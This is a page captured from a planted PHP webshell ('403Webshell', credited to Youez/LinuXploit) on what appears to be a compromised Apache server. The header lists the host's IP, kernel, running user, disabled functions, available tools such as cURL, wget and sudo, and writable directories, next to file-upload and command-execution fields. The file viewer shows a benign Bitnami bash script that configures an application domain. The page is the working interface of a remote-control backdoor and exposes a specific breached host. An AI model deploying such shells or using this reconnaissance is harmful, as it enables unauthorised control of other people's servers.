403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/opt/bitnami/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/opt/bitnami/configure_app_domain
#!/bin/bash

if [[ "$(id -u)" -ne "0" ]]; then
    echo "This script must be run as a superuser"
    exit 1
fi

# Help menu
display_help() {
    echo "Usage: $0 [arguments...]"
    echo
    echo "Options:"
    echo "  -h, --help                         show help menu"
    echo "  --domain arg                       configure application domain and exit"
    echo "  --enable-automatic-configuration   enable automatic IP configuration"
    echo "  --disable-automatic-configuration  disable automatic IP configuration"
}

# Default options
domain=""
disable_automatic_updates=true

if [[ "$#" -eq 0 ]]; then
    echo "No arguments were specified"
    display_help
    exit 1
fi

# Parse CLI arguments
while [[ "$#" -gt 0 ]]; do
    case "$1" in
        --domain)
            shift
            domain="${1:?missing domain value}"
            ;;
        --disable-automatic-configuration)
            disable_automatic_updates=true
            ;;
        --enable-automatic-configuration)
            disable_automatic_updates=false
            ;;
        -h|--help)
            display_help
            exit
            ;;
        *)
            echo "Unknown parameter $1"
            display_help
            exit 1
    esac
    shift
done

# Paths to modifier files
app_domain_file="/opt/bitnami/.app_domain"
disable_file="/opt/bitnami/.app_domain_disabled"

# Updates the domain for all installed apps
update_domains() {
  /opt/bitnami/nami/bin/provisioner     --only-recipes configure-host callRecipes afterStart
}

if "$disable_automatic_updates"; then
    # Configuring a domain will always disable automatic domain configuration when the IP address changes
    if [[ -n "$domain" ]]; then
        echo "Configuring domain to ${domain}"
        echo "$domain" > "$app_domain_file"
        rm -f "$disable_file"
        update_domains
    fi

    echo "Disabling automatic domain update for IP address changes"
    touch "$disable_file"
else
    echo "Enabling automatic domain update for IP address changes"
    rm -f "$app_domain_file" "$disable_file"
    update_domains
fi

Youez - 2016 - github.com/yon3zu
LinuXploit